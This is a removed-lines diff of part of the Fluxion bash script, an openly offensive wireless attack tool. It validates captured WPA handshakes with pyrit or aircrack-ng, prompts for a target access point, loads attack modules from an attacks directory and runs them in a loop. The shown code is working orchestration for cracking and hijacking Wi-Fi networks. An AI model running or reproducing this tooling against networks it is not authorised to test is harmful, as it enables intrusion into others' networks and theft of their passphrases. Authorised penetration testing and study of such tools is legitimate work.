-function fluxion_check_hash() { - if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then - echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError" - sleep 3 - return 1 - fi - - local verifier - - if [ "$FLUXIONAuto" ]; then - verifier="pyrit" - else - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery" - echo - - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - - local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption") - io_query_choice "" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit" ;; - "$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng" ;; - "$FLUXIONGeneralBackOption") return 1 ;; - esac - fi - - hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" >$FLUXIONOutputDevice - local hashResult=$? - - # A value other than 0 means there's an issue with the hash. - if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError" - else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice" - fi - - sleep 3 - - if [ $hashResult -ne 0 ]; then return 1; fi -} - -function fluxion_set_hash_path() { - fluxion_header - echo - echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery" - echo - echo -ne "$FLUXIONAbsolutePathInfo: " - read APTargetHashPath -} - -function fluxion_unset_hash() { - APTargetHashPath="" -} - -function fluxion_set_hash() { - if [ "$APTargetHashPath" ]; then return 0; fi - - fluxion_unset_hash - - # Scan for an existing hash for potential use, if one exists, - # ask the user if we should use it, or to skip it. - if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \ - -s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then - - if [ ! "$FLUXIONAuto" ]; then - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice" - echo - - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - - printf "Path: %s\n" "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" - echo -ne "$FLUXIONVLine ${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] " - - read APTargetHashPathConsidered - - echo - fi - - if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then - APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" - fluxion_check_hash - # If the user decides to go back, we must unset. - if [ $? -ne 0 ]; then - fluxion_unset_hash - return 1 - fi - fi - fi - - # If the hash was not found, or if it was skipped, - # ask for location or for gathering one. - while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery" - echo - - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - - local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption") - io_query_choice "" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONHashSourcePathOption") - fluxion_set_hash_path - fluxion_check_hash - ;; - "$FLUXIONHashSourceRescanOption") fluxion_set_hash ;; # Rescan checks hash automatically. - "$FLUXIONGeneralBackOption") - fluxion_unset_hash - return 1 - ;; - esac - - # This conditional is required for return values - # of operation performed in the case statement. - if [ $? -ne 0 ]; then - fluxion_unset_hash - return 1 - fi - done - - # Copy to workspace for hash-required operations. - cp "$APTargetHashPath" "$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap" -} - -###################################### < Attack > ###################################### -function fluxion_unset_attack() { - if [ "$FLUXIONAttack" ]; then unprep_attack - fi - FLUXIONAttack="" -} - -# Select the attack strategy to be used. -function fluxion_set_attack() { - if [ "$FLUXIONAttack" ]; then return 0; fi - - fluxion_unset_attack - - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONAttackQuery" - echo - - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - - #local attacksMeta=$(head -n 3 attacks/*/language/$FLUXIONLanguage.sh) - - #local attacksIdentifier - #readarray -t attacksIdentifier < <("`echo "$attacksMeta" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`") - - #local attacksDescription - #readarray -t attacksDescription < <("`echo "$attacksMeta" | grep -E "^# description: " | sed -E 's/# \w+: //'`") - - local attacks - readarray -t attacks < <(ls -1 attacks) - - local descriptions - readarray -t descriptions < <(head -n 3 attacks/*/language/$FLUXIONLanguage.sh | grep -E "^# description: " | sed -E 's/# \w+: //') - - local identifiers=() - - local attack - for attack in "${attacks[@]}"; do - local identifier="$(head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //')" - if [ "$identifier" ]; then identifiers+=("$identifier") - else identifiers+=("$attack") - fi - done - - attacks+=("$FLUXIONGeneralBackOption") - identifiers+=("$FLUXIONGeneralBackOption") - descriptions+=("") - - io_query_format_fields "" "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" attacks[@] identifiers[@] descriptions[@] - - echo - - if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then - fluxion_unset_target_ap - fluxion_unset_attack - return 1 - fi - - FLUXIONAttack=${IOQueryFormatFields[0]} - - # Load attack and its corresponding language file. - source "attacks/$FLUXIONAttack/language/$FLUXIONLanguage.sh" - source "attacks/$FLUXIONAttack/attack.sh" - - prep_attack - - if [ $? -ne 0 ]; then - fluxion_unset_attack - return 1 - fi -} - -# Attack -function fluxion_run_attack() { - start_attack - - local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption") - io_query_choice "$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@] - - echo - - # IOQueryChoice is a global, meaning, its value is volatile. - # We need to make sure to save the choice before it changes. - local choice="$IOQueryChoice" - - stop_attack - - if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then fluxion_handle_exit; fi - - fluxion_unset_attack -} - -################################### < FLUXION Loop > ################################### -fluxion_set_resolution -fluxion_set_language - -while true; do - fluxion_set_interface - if [ $? -ne 0 ]; then continue; fi - fluxion_set_scanner - if [ $? -ne 0 ]; then continue; fi - fluxion_set_target_ap - if [ $? -ne 0 ]; then continue; fi - fluxion_set_attack - if [ $? -ne 0 ]; then continue; fi - fluxion_run_attack - if [ $? -ne 0 ]; then continue; fi -done - -# FLUXSCRIPT END